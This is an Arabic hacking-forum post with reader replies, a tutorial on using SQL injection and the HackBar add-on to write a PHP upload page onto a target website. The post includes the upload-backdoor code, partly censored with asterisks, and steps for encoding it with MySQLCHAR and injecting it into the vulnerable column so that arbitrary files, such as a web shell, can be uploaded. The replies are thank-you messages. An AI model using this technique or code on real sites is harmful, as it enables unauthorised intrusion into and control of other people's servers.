شرح صنع مركز رفع من خلال ثغرات sql injection

[Sploit-Dzx]

السسلام عليكم ورحمههء الله وبركاتهه
اليوم جبت لكم ششرح صنع [] رفع من [] [] الحقن
نبداء

اول شي نحمل اداه الـ Hac Bar
من [] الموقع الرسمي
للتحميل .. []

بعدين نفتح علي

SQL > MySQL > MySQLCHAR
راحح يضهر مستطيل صغير خلي بيهه اكواد الـ [] الرفع
هذهه الاكواد

كود PHP:

    <?php  
echo '<b>Upload Center</b>'; 
echo '<b><br><br>'.php_u****().'<br></b>'; 
echo '<form action="" method="post" enctype="multipart/form-data" ****="uploader" id="uploader">'; 
echo '<input type="file" ****="file" size="50"><input ****="_upl" type="submit" id="_upl" value="Upload"></form>'; 
if( $_POST***91;'_upl'***93; == "Upload" ){ if(@copy($_FILES***91;'file'***93;***91;'tmp_****'***93;, $_FILES***91;'file'***93;***91;'****'***93;)) { echo '<b>Done !!!</b><br><br>'; } 
 else { echo '<b>!!!!!!!Upload Failed!!!!!! </b><br><br>'; }}?>

بعدين اضغط علي OK راحح يجيكك اكواد مشفرهه
حط الاكواد مكان العمود المصاب ويجيكك [] الرفع


المشكلهه .. هي مسار الشل حاولو تلقوننء لها حل

By Sploit-DZ

[shell]

مشكووووووووووور

[gthomps]

**** جزيلااا

[sniffer]

مشكوووووور على التشفير

[idamoo]

**** لك على الشرح

[xboys]

لي عودة بعد التجربة **** لك

[safa7_22]

بارك الله فيك

[Th3Expert]

**** على المجهود الرائع